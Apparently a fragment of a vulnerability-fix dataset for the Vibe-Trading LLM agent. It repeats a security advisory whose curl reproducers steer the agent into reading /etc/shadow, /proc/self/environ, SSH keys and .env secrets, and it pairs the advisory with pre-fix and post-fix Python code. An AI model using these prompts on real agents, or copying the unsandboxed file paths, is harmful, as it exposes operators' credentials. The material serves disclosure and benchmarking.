+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "_load_module_from_file"
+function_lines = [[102, 120]]
+id = "hkuds-vibe-trading-3fe5123aa283389c"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/backtest/runner.py"
+post_fix = "def _load_module_from_file(file_path: Path, module_name: str):\n \"\"\"Load a Python module from a file path via importlib.\n\n Args:\n file_path: Path to the ``.py`` file.\n module_name: Logical module name.\n\n Returns:\n Loaded module object.\n \"\"\"\n _validate_signal_engine_source(file_path)\n spec = importlib.util.spec_from_file_location(module_name, file_path)\n module = importlib.util.module_from_spec(spec)\n sys.modules[module_name] = module\n spec.loader.exec_module(module)\n return module\n\n"
+pre_fix = "def _load_module_from_file(file_path: Path, module_name: str):\n \"\"\"Load a Python module from a file path via importlib.\n\n Args:\n file_path: Path to the ``.py`` file.\n module_name: Logical module name.\n\n Returns:\n Loaded module object.\n \"\"\"\n spec = importlib.util.spec_from_file_location(module_name, file_path)\n module = importlib.util.module_from_spec(spec)\n sys.modules[module_name] = module\n spec.loader.exec_module(module)\n return module\n\n\n# --- Market detection (returns market type, NOT source name) ---\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "execute"
+function_lines = [[29, 68]]
+id = "hkuds-vibe-trading-4055b927694ed3d9"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/tools/write_file_tool.py"
+post_fix = " def execute(self, **kwargs: Any) -> str:\n \"\"\"Write content to a file.\n\n Args:\n **kwargs: Must include path and content. Optional run_dir.\n\n Returns:\n JSON string with bytes_written or an error.\n \"\"\"\n file_path = kwargs[\"path\"]\n content = kwargs[\"content\"]\n run_dir = kwargs.get(\"run_dir\")\n\n if not run_dir:\n return json.dumps({\n \"status\": \"error\",\n \"error\": \"run_dir is required for write_file\",\n }, ensure_ascii=False)\n\n try:\n run_root = _safe_run_dir(str(run_dir))\n resolved = _safe_path(file_path, run_root)\n except ValueError as exc:\n return json.dumps({\n \"status\": \"error\",\n \"error\": str(exc),\n }, ensure_ascii=False)\n\n try:\n resolved.parent.mkdir(parents=True, exist_ok=True)\n resolved.write_text(content, encoding=\"utf-8\")\n return json.dumps({\n \"status\": \"ok\",\n \"path\": str(resolved),\n \"bytes_written\": len(content.encode(\"utf-8\")),\n }, ensure_ascii=False)\n except Exception as exc:\n return json.dumps({\n \"status\": \"error\",\n \"error\": str(exc),\n }, ensure_ascii=False)"
+pre_fix = " def execute(self, **kwargs: Any) -> str:\n \"\"\"Write content to a file.\n\n Args:\n **kwargs: Must include path and content. Optional run_dir.\n\n Returns:\n JSON string with bytes_written or an error.\n \"\"\"\n file_path = kwargs[\"path\"]\n content = kwargs[\"content\"]\n run_dir = kwargs.get(\"run_dir\")\n\n if not run_dir:\n return json.dumps({\n \"status\": \"error\",\n \"error\": \"run_dir is required for write_file\",\n }, ensure_ascii=False)\n\n try:\n resolved = _safe_path(file_path, Path(run_dir))\n except ValueError as exc:\n return json.dumps({\n \"status\": \"error\",\n \"error\": str(exc),\n }, ensure_ascii=False)\n\n try:\n resolved.parent.mkdir(parents=True, exist_ok=True)\n resolved.write_text(content, encoding=\"utf-8\")\n return json.dumps({\n \"status\": \"ok\",\n \"path\": str(resolved),\n \"bytes_written\": len(content.encode(\"utf-8\")),\n }, ensure_ascii=False)\n except Exception as exc:\n return json.dumps({\n \"status\": \"error\",\n \"error\": str(exc),\n }, ensure_ascii=False)"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the 